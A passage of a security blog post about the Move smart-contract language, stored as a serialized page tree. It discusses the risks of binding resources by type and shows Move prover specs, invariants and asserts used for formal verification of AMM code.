Market",{"type":25,"tag":271,"props":20473,"children":20474},{"style":13625},[20475],{"type":30,"value":14307},{"type":25,"tag":271,"props":20477,"children":20478},{"style":13598},[20479],{"type":30,"value":18942},{"type":25,"tag":271,"props":20481,"children":20482},{"style":13609},[20483],{"type":30,"value":19050},{"type":25,"tag":271,"props":20485,"children":20486},{"style":13625},[20487],{"type":30,"value":20404},{"type":25,"tag":271,"props":20489,"children":20490},{"class":13593,"line":11641},[20491,20496,20500,20504,20508,20512],{"type":25,"tag":271,"props":20492,"children":20493},{"style":13598},[20494],{"type":30,"value":20495},"        reserves",{"type":25,"tag":271,"props":20497,"children":20498},{"style":13603},[20499],{"type":30,"value":359},{"type":25,"tag":271,"props":20501,"children":20502},{"style":13609},[20503],{"type":30,"value":18933},{"type":25,"tag":271,"props":20505,"children":20506},{"style":13625},[20507],{"type":30,"value":14307},{"type":25,"tag":271,"props":20509,"children":20510},{"style":13609},[20511],{"type":30,"value":301},{"type":25,"tag":271,"props":20513,"children":20514},{"style":13625},[20515],{"type":30,"value":19267},{"type":25,"tag":271,"props":20517,"children":20518},{"class":13593,"line":14354},[20519],{"type":25,"tag":271,"props":20520,"children":20521},{"style":14385},[20522],{"type":30,"value":19303},{"type":25,"tag":271,"props":20524,"children":20525},{"class":13593,"line":14391},[20526],{"type":25,"tag":271,"props":20527,"children":20528},{"style":13625},[20529],{"type":30,"value":16501},{"type":25,"tag":271,"props":20531,"children":20532},{"class":13593,"line":14400},[20533],{"type":25,"tag":271,"props":20534,"children":20535},{"emptyLinePlaceholder":18},[20536],{"type":30,"value":16829},{"type":25,"tag":271,"props":20538,"children":20539},{"class":13593,"line":16406},[20540,20544,20549,20553,20557,20561],{"type":25,"tag":271,"props":20541,"children":20542},{"style":14289},[20543],{"type":30,"value":19182},{"type":25,"tag":271,"props":20545,"children":20546},{"style":13609},[20547],{"type":30,"value":20548}," Position",{"type":25,"tag":271,"props":20550,"children":20551},{"style":13625},[20552],{"type":30,"value":14307},{"type":25,"tag":271,"props":20554,"children":20555},{"style":13598},[20556],{"type":30,"value":18942},{"type":25,"tag":271,"props":20558,"children":20559},{"style":13609},[20560],{"type":30,"value":19050},{"type":25,"tag":271,"props":20562,"children":20563},{"style":13625},[20564],{"type":30,"value":20404},{"type":25,"tag":271,"props":20566,"children":20567},{"class":13593,"line":16434},[20568,20573,20577,20581],{"type":25,"tag":271,"props":20569,"children":20570},{"style":13598},[20571],{"type":30,"value":20572},"        amount",{"type":25,"tag":271,"props":20574,"children":20575},{"style":13603},[20576],{"type":30,"value":359},{"type":25,"tag":271,"props":20578,"children":20579},{"style":13609},[20580],{"type":30,"value":18991},{"type":25,"tag":271,"props":20582,"children":20583},{"style":13625},[20584],{"type":30,"value":14351},{"type":25,"tag":271,"props":20586,"children":20587},{"class":13593,"line":16447},[20588],{"type":25,"tag":271,"props":20589,"children":20590},{"style":14385},[20591],{"type":30,"value":19303},{"type":25,"tag":271,"props":20593,"children":20594},{"class":13593,"line":16465},[20595],{"type":25,"tag":271,"props":20596,"children":20597},{"style":13625},[20598],{"type":30,"value":16501},{"type":25,"tag":26,"props":20600,"children":20601},{},[20602,20603,20608,20610,20615],{"type":30,"value":7378},{"type":25,"tag":264,"props":20604,"children":20606},{"className":20605},[],[20607],{"type":30,"value":20443},{"type":30,"value":20609}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":25,"tag":264,"props":20611,"children":20613},{"className":20612},[],[20614],{"type":30,"value":301},{"type":30,"value":20616}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":25,"tag":26,"props":20618,"children":20619},{},[20620],{"type":30,"value":20621},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":25,"tag":7764,"props":20623,"children":20625},{"className":13586,"code":20624,"language":13585,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[20626],{"type":25,"tag":264,"props":20627,"children":20628},{"__ignoreMap":7},[20629,20637,20698,20747,20799,20824,20836,20858,20866,20879],{"type":25,"tag":271,"props":20630,"children":20631},{"class":13593,"line":13594},[20632],{"type":25,"tag":271,"props":20633,"children":20634},{"style":14385},[20635],{"type":30,"value":20636},"    /// Get the price of the token per lamport.\n",{"type":25,"tag":271,"props":20638,"children":20639},{"class":13593,"line":11641},[20640,20644,20648,20653,20657,20662,20666,20671,20675,20679,20684,20689,20694],{"type":25,"tag":271,"props":20641,"children":20642},{"style":13598},[20643],{"type":30,"value":14360},{"type":25,"tag":271,"props":20645,"children":20646},{"style":13598},[20647],{"type":30,"value":19335},{"type":25,"tag":271,"props":20649,"children":20650},{"style":13620},[20651],{"type":30,"value":20652}," get_price",{"type":25,"tag":271,"props":20654,"children":20655},{"style":13625},[20656],{"type":30,"value":394},{"type":25,"tag":271,"props":20658,"children":20659},{"style":13598},[20660],{"type":30,"value":20661},"type_info",{"type":25,"tag":271,"props":20663,"children":20664},{"style":13603},[20665],{"type":30,"value":359},{"type":25,"tag":271,"props":20667,"children":20668},{"style":13609},[20669],{"type":30,"value":20670}," TypeInfo",{"type":25,"tag":271,"props":20672,"children":20673},{"style":13625},[20674],{"type":30,"value":440},{"type":25,"tag":271,"props":20676,"children":20677},{"style":13603},[20678],{"type":30,"value":359},{"type":25,"tag":271,"props":20680,"children":20681},{"style":13609},[20682],{"type":30,"value":20683}," Decimal",{"type":25,"tag":271,"props":20685,"children":20686},{"style":13598},[20687],{"type":30,"value":20688}," acquires",{"type":25,"tag":271,"props":20690,"children":20691},{"style":13609},[20692],{"type":30,"value":20693}," Oracle",{"type":25,"tag":271,"props":20695,"children":20696},{"style":13625},[20697],{"type":30,"value":16431},{"type":25,"tag":271,"props":20699,"children":20700},{"class":13593,"line":14354},[20701,20705,20710,20714,20719,20723,20728,20733,20738,20743],{"type":25,"tag":271,"props":20702,"children":20703},{"style":14289},[20704],{"type":30,"value":16208},{"type":25,"tag":271,"props":20706,"children":20707},{"style":13598},[20708],{"type":30,"value":20709}," oracle",{"type":25,"tag":271,"props":20711,"children":20712},{"style":13603},[20713],{"type":30,"value":16155},{"type":25,"tag":271,"props":20715,"children":20716},{"style":13598},[20717],{"type":30,"value":20718}," borrow_global_mut",{"type":25,"tag":271,"props":20720,"children":20721},{"style":13625},[20722],{"type":30,"value":14307},{"type":25,"tag":271,"props":20724,"children":20725},{"style":13609},[20726],{"type":30,"value":20727},"Oracle",{"type":25,"tag":271,"props":20729,"children":20730},{"style":13625},[20731],{"type":30,"value":20732},">(",{"type":25,"tag":271,"props":20734,"children":20735},{"style":13603},[20736],{"type":30,"value":20737},"@",{"type":25,"tag":271,"props":20739,"children":20740},{"style":13598},[20741],{"type":30,"value":20742},"oracle",{"type":25,"tag":271,"props":20744,"children":20745},{"style":13625},[20746],{"type":30,"value":13665},{"type":25,"tag":271,"props":20748,"children":20749},{"class":13593,"line":14391},[20750,20754,20759,20763,20768,20772,20777,20781,20786,20790,20795],{"type":25,"tag":271,"props":20751,"children":20752},{"style":14289},[20753],{"type":30,"value":16208},{"type":25,"tag":271,"props":20755,"children":20756},{"style":13598},[20757],{"type":30,"value":20758}," price",{"type":25,"tag":271,"props":20760,"children":20761},{"style":13603},[20762],{"type":30,"value":16155},{"type":25,"tag":271,"props":20764,"children":20765},{"style":13625},[20766],{"type":30,"value":20767}," table",{"type":25,"tag":271,"props":20769,"children":20770},{"style":13603},[20771],{"type":30,"value":13617},{"type":25,"tag":271,"props":20773,"children":20774},{"style":13598},[20775],{"type":30,"value":20776},"borrow_mut_with_default",{"type":25,"tag":271,"props":20778,"children":20779},{"style":13625},[20780],{"type":30,"value":14307},{"type":25,"tag":271,"props":20782,"children":20783},{"style":13609},[20784],{"type":30,"value":20785},"TypeInfo",{"type":25,"tag":271,"props":20787,"children":20788},{"style":13625},[20789],{"type":30,"value":44},{"type":25,"tag":271,"props":20791,"children":20792},{"style":13609},[20793],{"type":30,"value":20794},"Decimal",{"type":25,"tag":271,"props":20796,"children":20797},{"style":13625},[20798],{"type":30,"value":14324},{"type":25,"tag":271,"props":20800,"children":20801},{"class":13593,"line":14400},[20802,20807,20811,20815,20819],{"type":25,"tag":271,"props":20803,"children":20804},{"style":13603},[20805],{"type":30,"value":20806},"            &",{"type":25,"tag":271,"props":20808,"children":20809},{"style":14289},[20810],{"type":30,"value":16877},{"type":25,"tag":271,"props":20812,"children":20813},{"style":13598},[20814],{"type":30,"value":20709},{"type":25,"tag":271,"props":20816,"children":20817},{"style":13603},[20818],{"type":30,"value":1860},{"type":25,"tag":271,"props":20820,"children":20821},{"style":13625},[20822],{"type":30,"value":20823},"prices,\n",{"type":25,"tag":271,"props":20825,"children":20826},{"class":13593,"line":16406},[20827,20832],{"type":25,"tag":271,"props":20828,"children":20829},{"style":13598},[20830],{"type":30,"value":20831},"            type_info",{"type":25,"tag":271,"props":20833,"children":20834},{"style":13625},[20835],{"type":30,"value":14351},{"type":25,"tag":271,"props":20837,"children":20838},{"class":13593,"line":16434},[20839,20844,20848,20853],{"type":25,"tag":271,"props":20840,"children":20841},{"style":13625},[20842],{"type":30,"value":20843},"            decimal",{"type":25,"tag":271,"props":20845,"children":20846},{"style":13603},[20847],{"type":30,"value":13617},{"type":25,"tag":271,"props":20849,"children":20850},{"style":13620},[20851],{"type":30,"value":20852},"one",{"type":25,"tag":271,"props":20854,"children":20855},{"style":13625},[20856],{"type":30,"value":20857},"()\n",{"type":25,"tag":271,"props":20859,"children":20860},{"class":13593,"line":16447},[20861],{"type":25,"tag":271,"props":20862,"children":20863},{"style":13625},[20864],{"type":30,"value":20865},"        );\n",{"type":25,"tag":271,"props":20867,"children":20868},{"class":13593,"line":16465},[20869,20874],{"type":25,"tag":271,"props":20870,"children":20871},{"style":13603},[20872],{"type":30,"value":20873},"        *",{"type":25,"tag":271,"props":20875,"children":20876},{"style":13598},[20877],{"type":30,"value":20878},"price\n",{"type":25,"tag":271,"props":20880,"children":20881},{"class":13593,"line":16486},[20882],{"type":25,"tag":271,"props":20883,"children":20884},{"style":13625},[20885],{"type":30,"value":16501},{"type":25,"tag":26,"props":20887,"children":20888},{},[20889,20891,20896],{"type":30,"value":20890},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":25,"tag":10281,"props":20892,"children":20893},{},[20894],{"type":30,"value":20895},"instance",{"type":30,"value":20897}," of another resource (which is possible in Diem style move).",{"type":25,"tag":26,"props":20899,"children":20900},{},[20901],{"type":30,"value":20902},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":25,"tag":661,"props":20904,"children":20905},{},[20906,20911],{"type":25,"tag":112,"props":20907,"children":20908},{},[20909],{"type":30,"value":20910},"Have unique initializers for your resources",{"type":25,"tag":112,"props":20912,"children":20913},{},[20914],{"type":30,"value":20915},"Associate resources with instances directly",{"type":25,"tag":96,"props":20917,"children":20919},{"id":20918},"formal-verification",[20920],{"type":30,"value":20921},"Formal Verification",{"type":25,"tag":26,"props":20923,"children":20924},{},[20925],{"type":30,"value":20926},"Formal verification is another exciting feature.",{"type":25,"tag":26,"props":20928,"children":20929},{},[20930],{"type":30,"value":20931},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":25,"tag":26,"props":20933,"children":20934},{},[20935,20937,20942],{"type":30,"value":20936},"However, this isn't a silver bullet. The key is figuring out ",{"type":25,"tag":10281,"props":20938,"children":20939},{},[20940],{"type":30,"value":20941},"what",{"type":30,"value":20943}," to prove.",{"type":25,"tag":26,"props":20945,"children":20946},{},[20947,20949,20956],{"type":30,"value":20948},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":25,"tag":83,"props":20950,"children":20953},{"href":20951,"rel":20952},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[9066],[20954],{"type":30,"value":20955},"Solana AMM rounding issue",{"type":30,"value":20957}," we reported.",{"type":25,"tag":26,"props":20959,"children":20960},{},[20961],{"type":30,"value":20962},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":25,"tag":7764,"props":20964,"children":20966},{"className":13586,"code":20965,"language":13585,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[20967],{"type":25,"tag":264,"props":20968,"children":20969},{"__ignoreMap":7},[20970,21031],{"type":25,"tag":271,"props":20971,"children":20972},{"class":13593,"line":13594},[20973,20978,20983,20987,20992,20996,21001,21005,21009,21014,21018,21022,21027],{"type":25,"tag":271,"props":20974,"children":20975},{"style":14289},[20976],{"type":30,"value":20977},"  let",{"type":25,"tag":271,"props":20979,"children":20980},{"style":13598},[20981],{"type":30,"value":20982}," cmp",{"type":25,"tag":271,"props":20984,"children":20985},{"style":13603},[20986],{"type":30,"value":16155},{"type":25,"tag":271,"props":20988,"children":20989},{"style":13625},[20990],{"type":30,"value":20991}," u256",{"type":25,"tag":271,"props":20993,"children":20994},{"style":13603},[20995],{"type":30,"value":13617},{"type":25,"tag":271,"props":20997,"children":20998},{"style":13620},[20999],{"type":30,"value":21000},"compare",{"type":25,"tag":271,"props":21002,"children":21003},{"style":13625},[21004],{"type":30,"value":394},{"type":25,"tag":271,"props":21006,"children":21007},{"style":13603},[21008],{"type":30,"value":13632},{"type":25,"tag":271,"props":21010,"children":21011},{"style":13598},[21012],{"type":30,"value":21013},"lp_value_after_swap_and_fee",{"type":25,"tag":271,"props":21015,"children":21016},{"style":13625},[21017],{"type":30,"value":44},{"type":25,"tag":271,"props":21019,"children":21020},{"style":13603},[21021],{"type":30,"value":13632},{"type":25,"tag":271,"props":21023,"children":21024},{"style":13598},[21025],{"type":30,"value":21026},"lp_value_before_swap_u256",{"type":25,"tag":271,"props":21028,"children":21029},{"style":13625},[21030],{"type":30,"value":13665},{"type":25,"tag":271,"props":21032,"children":21033},{"class":13593,"line":11641},[21034,21039,21043,21048,21052,21057],{"type":25,"tag":271,"props":21035,"children":21036},{"style":13620},[21037],{"type":30,"value":21038},"  assert!",{"type":25,"tag":271,"props":21040,"children":21041},{"style":13625},[21042],{"type":30,"value":394},{"type":25,"tag":271,"props":21044,"children":21045},{"style":13598},[21046],{"type":30,"value":21047},"cmp",{"type":25,"tag":271,"props":21049,"children":21050},{"style":13603},[21051],{"type":30,"value":16422},{"type":25,"tag":271,"props":21053,"children":21054},{"style":16187},[21055],{"type":30,"value":21056}," 2",{"type":25,"tag":271,"props":21058,"children":21059},{"style":13625},[21060],{"type":30,"value":21061},", ERR_INCORRECT_SWAP);\n",{"type":25,"tag":26,"props":21063,"children":21064},{},[21065,21067,21072],{"type":30,"value":21066},"The move prover really shines when we're proving relationships ",{"type":25,"tag":10281,"props":21068,"children":21069},{},[21070],{"type":30,"value":21071},"between",{"type":30,"value":21073}," functions.",{"type":25,"tag":26,"props":21075,"children":21076},{},[21077,21079,21085],{"type":30,"value":21078},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":25,"tag":264,"props":21080,"children":21082},{"className":21081},[],[21083],{"type":30,"value":21084},"no_free_money_theorem",{"type":30,"value":21086}," in the move repository.",{"type":25,"tag":7764,"props":21088,"children":21090},{"className":13586,"code":21089,"language":13585,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[21091],{"type":25,"tag":264,"props":21092,"children":21093},{"__ignoreMap":7},[21094,21102,21190,21232,21253,21260,21276,21301,21328,21353],{"type":25,"tag":271,"props":21095,"children":21096},{"class":13593,"line":13594},[21097],{"type":25,"tag":271,"props":21098,"children":21099},{"style":14385},[21100],{"type":30,"value":21101},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":25,"tag":271,"props":21103,"children":21104},{"class":13593,"line":11641},[21105,21109,21114,21118,21123,21127,21131,21135,21140,21144,21148,21152,21156,21160,21165,21169,21173,21177,21181,21186],{"type":25,"tag":271,"props":21106,"children":21107},{"style":13598},[21108],{"type":30,"value":19695},{"type":25,"tag":271,"props":21110,"children":21111},{"style":13620},[21112],{"type":30,"value":21113}," no_free_money_theorem",{"type":25,"tag":271,"props":21115,"children":21116},{"style":13625},[21117],{"type":30,"value":394},{"type":25,"tag":271,"props":21119,"children":21120},{"style":13598},[21121],{"type":30,"value":21122},"coin1_in",{"type":25,"tag":271,"props":21124,"children":21125},{"style":13603},[21126],{"type":30,"value":359},{"type":25,"tag":271,"props":21128,"children":21129},{"style":13609},[21130],{"type":30,"value":18991},{"type":25,"tag":271,"props":21132,"children":21133},{"style":13625},[21134],{"type":30,"value":44},{"type":25,"tag":271,"props":21136,"children":21137},{"style":13598},[21138],{"type":30,"value":21139},"coin2_in",{"type":25,"tag":271,"props":21141,"children":21142},{"style":13603},[21143],{"type":30,"value":359},{"type":25,"tag":271,"props":21145,"children":21146},{"style":13609},[21147],{"type":30,"value":18991},{"type":25,"tag":271,"props":21149,"children":21150},{"style":13625},[21151],{"type":30,"value":440},{"type":25,"tag":271,"props":21153,"children":21154},{"style":13603},[21155],{"type":30,"value":359},{"type":25,"tag":271,"props":21157,"children":21158},{"style":13625},[21159],{"type":30,"value":16213},{"type":25,"tag":271,"props":21161,"children":21162},{"style":13609},[21163],{"type":30,"value":21164},"u64",{"type":25,"tag":271,"props":21166,"children":21167},{"style":13625},[21168],{"type":30,"value":44},{"type":25,"tag":271,"props":21170,"children":21171},{"style":13609},[21172],{"type":30,"value":21164},{"type":25,"tag":271,"props":21174,"children":21175},{"style":13625},[21176],{"type":30,"value":14406},{"type":25,"tag":271,"props":21178,"children":21179},{"style":13598},[21180],{"type":30,"value":19472},{"type":25,"tag":271,"props":21182,"children":21183},{"style":13609},[21184],{"type":30,"value":21185}," Pool",{"type":25,"tag":271,"props":21187,"children":21188},{"style":13625},[21189],{"type":30,"value":16431},{"type":25,"tag":271,"props":21191,"children":21192},{"class":13593,"line":14354},[21193,21198,21203,21207,21212,21216,21220,21224,21228],{"type":25,"tag":271,"props":21194,"children":21195},{"style":14289},[21196],{"type":30,"value":21197},"      let",{"type":25,"tag":271,"props":21199,"children":21200},{"style":13598},[21201],{"type":30,"value":21202}," share",{"type":25,"tag":271,"props":21204,"children":21205},{"style":13603},[21206],{"type":30,"value":16155},{"type":25,"tag":271,"props":21208,"children":21209},{"style":13620},[21210],{"type":30,"value":21211}," add_liquidity",{"type":25,"tag":271,"props":21213,"children":21214},{"style":13625},[21215],{"type":30,"value":394},{"type":25,"tag":271,"props":21217,"children":21218},{"style":13598},[21219],{"type":30,"value":21122},{"type":25,"tag":271,"props":21221,"children":21222},{"style":13625},[21223],{"type":30,"value":44},{"type":25,"tag":271,"props":21225,"children":21226},{"style":13598},[21227],{"type":30,"value":21139},{"type":25,"tag":271,"props":21229,"children":21230},{"style":13625},[21231],{"type":30,"value":13665},{"type":25,"tag":271,"props":21233,"children":21234},{"class":13593,"line":14391},[21235,21240,21244,21249],{"type":25,"tag":271,"props":21236,"children":21237},{"style":13620},[21238],{"type":30,"value":21239},"      remove_liquidity",{"type":25,"tag":271,"props":21241,"children":21242},{"style":13625},[21243],{"type":30,"value":394},{"type":25,"tag":271,"props":21245,"children":21246},{"style":13598},[21247],{"type":30,"value":21248},"share",{"type":25,"tag":271,"props":21250,"children":21251},{"style":13625},[21252],{"type":30,"value":16299},{"type":25,"tag":271,"props":21254,"children":21255},{"class":13593,"line":14400},[21256],{"type":25,"tag":271,"props":21257,"children":21258},{"style":13625},[21259],{"type":30,"value":19003},{"type":25,"tag":271,"props":21261,"children":21262},{"class":13593,"line":16406},[21263,21268,21272],{"type":25,"tag":271,"props":21264,"children":21265},{"style":13598},[21266],{"type":30,"value":21267},"  spec",{"type":25,"tag":271,"props":21269,"children":21270},{"style":13598},[21271],{"type":30,"value":21113},{"type":25,"tag":271,"props":21273,"children":21274},{"style":13625},[21275],{"type":30,"value":16431},{"type":25,"tag":271,"props":21277,"children":21278},{"class":13593,"line":16434},[21279,21284,21288,21292,21297],{"type":25,"tag":271,"props":21280,"children":21281},{"style":13598},[21282],{"type":30,"value":21283},"      pragma",{"type":25,"tag":271,"props":21285,"children":21286},{"style":13598},[21287],{"type":30,"value":14302},{"type":25,"tag":271,"props":21289,"children":21290},{"style":13603},[21291],{"type":30,"value":1065},{"type":25,"tag":271,"props":21293,"children":21294},{"style":14289},[21295],{"type":30,"value":21296},"false",{"type":25,"tag":271,"props":21298,"children":21299},{"style":13625},[21300],{"type":30,"value":16165},{"type":25,"tag":271,"props":21302,"children":21303},{"class":13593,"line":16447},[21304,21309,21314,21319,21324],{"type":25,"tag":271,"props":21305,"children":21306},{"style":13598},[21307],{"type":30,"value":21308},"      ensures",{"type":25,"tag":271,"props":21310,"children":21311},{"style":13598},[21312],{"type":30,"value":21313}," result_1",{"type":25,"tag":271,"props":21315,"children":21316},{"style":13603},[21317],{"type":30,"value":21318}," \u003C=",{"type":25,"tag":271,"props":21320,"children":21321},{"style":13598},[21322],{"type":30,"value":21323}," coin1_in",{"type":25,"tag":271,"props":21325,"children":21326},{"style":13625},[21327],{"type":30,"value":16165},{"type":25,"tag":271,"props":21329,"children":21330},{"class":13593,"line":16465},[21331,21335,21340,21344,21349],{"type":25,"tag":271,"props":21332,"children":21333},{"style":13598},[21334],{"type":30,"value":21308},{"type":25,"tag":271,"props":21336,"children":21337},{"style":13598},[21338],{"type":30,"value":21339}," result_2",{"type":25,"tag":271,"props":21341,"children":21342},{"style":13603},[21343],{"type":30,"value":21318},{"type":25,"tag":271,"props":21345,"children":21346},{"style":13598},[21347],{"type":30,"value":21348}," coin2_in",{"type":25,"tag":271,"props":21350,"children":21351},{"style":13625},[21352],{"type":30,"value":16165},{"type":25,"tag":271,"props":21354,"children":21355},{"class":13593,"line":16486},[21356],{"type":25,"tag":271,"props":21357,"children":21358},{"style":13625},[21359],{"type":30,"value":19003},{"type":25,"tag":26,"props":21361,"children":21362},{},[21363],{"type":30,"value":21364},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":25,"tag":26,"props":21366,"children":21367},{},[21368,21370,21375],{"type":30,"value":21369},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":25,"tag":10281,"props":21371,"children":21372},{},[21373],{"type":30,"value":21374},"lot",{"type":30,"value":21376}," easier to reason about the protocol.",{"type":25,"tag":26,"props":21378,"children":21379},{},[21380],{"type":30,"value":21381},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":25,"tag":7764,"props":21383,"children":21385},{"className":13586,"code":21384,"language":13585,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[21386],{"type":25,"tag":264,"props":21387,"children":21388},{"__ignoreMap":7},[21389,21406,21429],{"type":25,"tag":271,"props":21390,"children":21391},{"class":13593,"line":13594},[21392,21397,21402],{"type":25,"tag":271,"props":21393,"children":21394},{"style":13598},[21395],{"type":30,"value":21396},"spec",{"type":25,"tag":271,"props":21398,"children":21399},{"style":13609},[21400],{"type":30,"value":21401}," PoolState",{"type":25,"tag":271,"props":21403,"children":21404},{"style":13625},[21405],{"type":30,"value":16431},{"type":25,"tag":271,"props":21407,"children":21408},{"class":13593,"line":11641},[21409,21414,21419,21424],{"type":25,"tag":271,"props":21410,"children":21411},{"style":13598},[21412],{"type":30,"value":21413},"    invariant",{"type":25,"tag":271,"props":21415,"children":21416},{"style":13598},[21417],{"type":30,"value":21418}," supply",{"type":25,"tag":271,"props":21420,"children":21421},{"style":13603},[21422],{"type":30,"value":21423}," >=",{"type":25,"tag":271,"props":21425,"children":21426},{"style":13625},[21427],{"type":30,"value":21428}," MINIMUM_LIQUIDITY;\n",{"type":25,"tag":271,"props":21430,"children":21431},{"class":13593,"line":14354},[21432],{"type":25,"tag":271,"props":21433,"children":21434},{"style":13625},[21435],{"type":30,"value":17058},{"type":25,"tag":26,"props":21437,"children":21438},{},[21439,21441,21447,21449,21455],{"type":30,"value":21440},"Another useful pattern for the Move prover is ",{"type":25,"tag":264,"props":21442,"children":21444},{"className":21443},[],[21445],{"type":30,"value":21446},"aborts_if",{"type":30,"value":21448},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":25,"tag":264,"props":21450,"children":21452},{"className":21451},[],[21453],{"type":30,"value":21454},"aborts_if false",{"type":30,"value":1860},{"type":25,"tag":26,"props":21457,"children":21458},{},[21459],{"type":30,"value":21460},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":25,"tag":7764,"props":21462,"children":21464},{"className":13586,"code":21463,"language":13585,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[21465],{"type":25,"tag":264,"props":21466,"children":21467},{"__ignoreMap":7},[21468,21531,21573,21596,21641,21654,21666,21705,21728,21815,21823,21848,21856,21877,21897,21997,22005,22034,22042,22054,22078,22113,22120,22128,22135,22150,22166,22184,22229,22335],{"type":25,"tag":271,"props":21469,"children":21470},{"class":13593,"line":13594},[21471,21475,21480,21484,21488,21492,21497,21501,21505,21510,21514,21518,21522,21527],{"type":25,"tag":271,"props":21472,"children":21473},{"style":13598},[21474],{"type":30,"value":19695},{"type":25,"tag":271,"props":21476,"children":21477},{"style":13620},[21478],{"type":30,"value":21479}," multiply_vec_by_n_coins",{"type":25,"tag":271,"props":21481,"children":21482},{"style":13625},[21483],{"type":30,"value":394},{"type":25,"tag":271,"props":21485,"children":21486},{"style":13598},[21487],{"type":30,"value":13871},{"type":25,"tag":271,"props":21489,"children":21490},{"style":13603},[21491],{"type":30,"value":359},{"type":25,"tag":271,"props":21493,"children":21494},{"style":13598},[21495],{"type":30,"value":21496}," vector",{"type":25,"tag":271,"props":21498,"children":21499},{"style":13625},[21500],{"type":30,"value":14307},{"type":25,"tag":271,"props":21502,"children":21503},{"style":13609},[21504],{"type":30,"value":21164},{"type":25,"tag":271,"props":21506,"children":21507},{"style":13625},[21508],{"type":30,"value":21509},">)",{"type":25,"tag":271,"props":21511,"children":21512},{"style":13603},[21513],{"type":30,"value":359},{"type":25,"tag":271,"props":21515,"children":21516},{"style":13598},[21517],{"type":30,"value":21496},{"type":25,"tag":271,"props":21519,"children":21520},{"style":13625},[21521],{"type":30,"value":14307},{"type":25,"tag":271,"props":21523,"children":21524},{"style":13609},[21525],{"type":30,"value":21526},"u128",{"type":25,"tag":271,"props":21528,"children":21529},{"style":13625},[21530],{"type":30,"value":20404},{"type":25,"tag":271,"props":21532,"children":21533},{"class":13593,"line":11641},[21534,21538,21543,21547,21551,21555,21560,21564,21568],{"type":25,"tag":271,"props":21535,"children":21536},{"style":14289},[21537],{"type":30,"value":21197},{"type":25,"tag":271,"props":21539,"children":21540},{"style":13598},[21541],{"type":30,"value":21542}," amounts_times_coins",{"type":25,"tag":271,"props":21544,"children":21545},{"style":13603},[21546],{"type":30,"value":16155},{"type":25,"tag":271,"props":21548,"children":21549},{"style":13625},[21550],{"type":30,"value":21496},{"type":25,"tag":271,"props":21552,"children":21553},{"style":13603},[21554],{"type":30,"value":13617},{"type":25,"tag":271,"props":21556,"children":21557},{"style":13598},[21558],{"type":30,"value":21559},"empty",{"type":25,"tag":271,"props":21561,"children":21562},{"style":13625},[21563],{"type":30,"value":14307},{"type":25,"tag":271,"props":21565,"children":21566},{"style":13609},[21567],{"type":30,"value":21526},{"type":25,"tag":271,"props":21569,"children":21570},{"style":13625},[21571],{"type":30,"value":21572},">();\n",{"type":25,"tag":271,"props":21574,"children":21575},{"class":13593,"line":14354},[21576,21580,21584,21588,21592],{"type":25,"tag":271,"props":21577,"children":21578},{"style":14289},[21579],{"type":30,"value":21197},{"type":25,"tag":271,"props":21581,"children":21582},{"style":13598},[21583],{"type":30,"value":16544},{"type":25,"tag":271,"props":21585,"children":21586},{"style":13603},[21587],{"type":30,"value":16155},{"type":25,"tag":271,"props":21589,"children":21590},{"style":16187},[21591],{"type":30,"value":16190},{"type":25,"tag":271,"props":21593,"children":21594},{"style":13625},[21595],{"type":30,"value":16165},{"type":25,"tag":271,"props":21597,"children":21598},{"class":13593,"line":14391},[21599,21603,21608,21612,21616,21620,21625,21629,21633,21637],{"type":25,"tag":271,"props":21600,"children":21601},{"style":14289